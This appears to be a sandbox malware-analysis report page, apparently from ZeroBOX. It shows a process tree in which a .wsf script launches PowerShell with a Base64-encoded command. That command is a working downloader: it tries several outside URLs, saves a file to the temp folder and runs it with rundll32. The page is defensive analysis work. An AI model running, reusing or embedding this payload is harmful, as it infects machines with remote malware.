popup
| ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Qlzkyfcl.wsf

    2532

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQATgBvAG4AZABlAHAAcgBlAHMAcwBlAGQAUgBvAG0AYgBvAHcAbABpAG4AZQAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAHIAegBiAHAAbwAuAGMAbwBtAC4AYgByAC8AMABNAHEAYQBFAC8AZQBiAEsAVgAxADAALABoAHQAdABwAHMAOgAvAC8AbQBtAGgAaABmAC4AYwBvAG0ALwBjAHkAbwBhAEwAQwBqAC8AbQBYAEIAcgBDAGsAVgBSAFQALABoAHQAdABwAHMAOgAvAC8AZwByAGEAcABoAGkAeABjAHIAZQBhAHQAaQB2AGkAdAB5AC4AYwBvAG0ALwBNAG8ASgBCAFEALwA3AFIANgBrAE4ATQBxAHMAVgBmAHoAcwAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAcgBhAGcAaQBjAGkAYQBuAC4AYwBvAG0ALwB1AHEANgAzAGwALwB2AGIAZwBKAEsAaABaAGwANQBBAGsALABoAHQAdABwAHMAOgAvAC8AcwBvAGEAcgBlAHMAZABlAHMAaQBnAG4AZQByAC4AYwBvAG0ALgBiAHIALwBRAGsAUwB3AHAAOAAvAG8ASgA5AGQARQBpAHoALABoAHQAdABwAHMAOgAvAC8AYQBsAG8AcwB0AG8AbwBsAC0AcwBhAC4AYwBvAG0ALwBYAHMAWABZAG8AZAAvAHIAMABCAEgASwBMAFEASABUAG4ATAAsAGgAdAB0AHAAcwA6AC8ALwBuAGUAdAB1AGwAdAByAGEALgBjAG8AbQAuAGIAcgAvAGIAUwBxAEEATQBpAC8ANgA5ADEAOAByAG0ATQAxAEwAUwAsAGgAdAB0AHAAcwA6AC8ALwBiAHkAdABlAGQAZQBzAGkAZwBuAC4AbgBlAHQALwB2AFAAcQB5AFcAeABiAC8AMAAyADAANAAyADMALgBnAGkAZgAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABMAGEAdABlAHcAaABpAGwAZQBzAFAAcgBlAHMAcABlAGMAaQBmAGkAZQBkACAAaQBuACAAJABOAG8AbgBkAGUAcAByAGUAcwBzAGUAZABSAG8AbQBiAG8AdwBsAGkAbgBlACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABMAGEAdABlAHcAaABpAGwAZQBzAFAAcgBlAHMAcABlAGMAaQBmAGkAZQBkACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA3ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABUAGUAbgBkAGkAbgBlAGEAbABBAHQAdABpAHQAdQBkAGkAbgBpAHoAZQByAC4ATABlAHAAcgBvAHMAZQBCAHUAYwBjAGEAbgBlAGUAcgBpAG4AZwA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFQAZQBuAGQAaQBuAGUAYQBsAEEAdAB0AGkAdAB1AGQAaQBuAGkAegBlAHIALgBMAGUAcAByAG8AcwBlAEIAdQBjAGMAYQBuAGUAZQByAGkAbgBnACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAFQAZQBuAGQAaQBuAGUAYQBsAEEAdAB0AGkAdAB1AGQAaQBuAGkAegBlAHIALgBMAGUAcAByAG8AcwBlAEIAdQBjAGMAYQBuAGUAZQByAGkAbgBnACwATgBpAGsAbgA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"

      2672

Process contents

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID
default registry file network process services synchronisation iexplore office pdf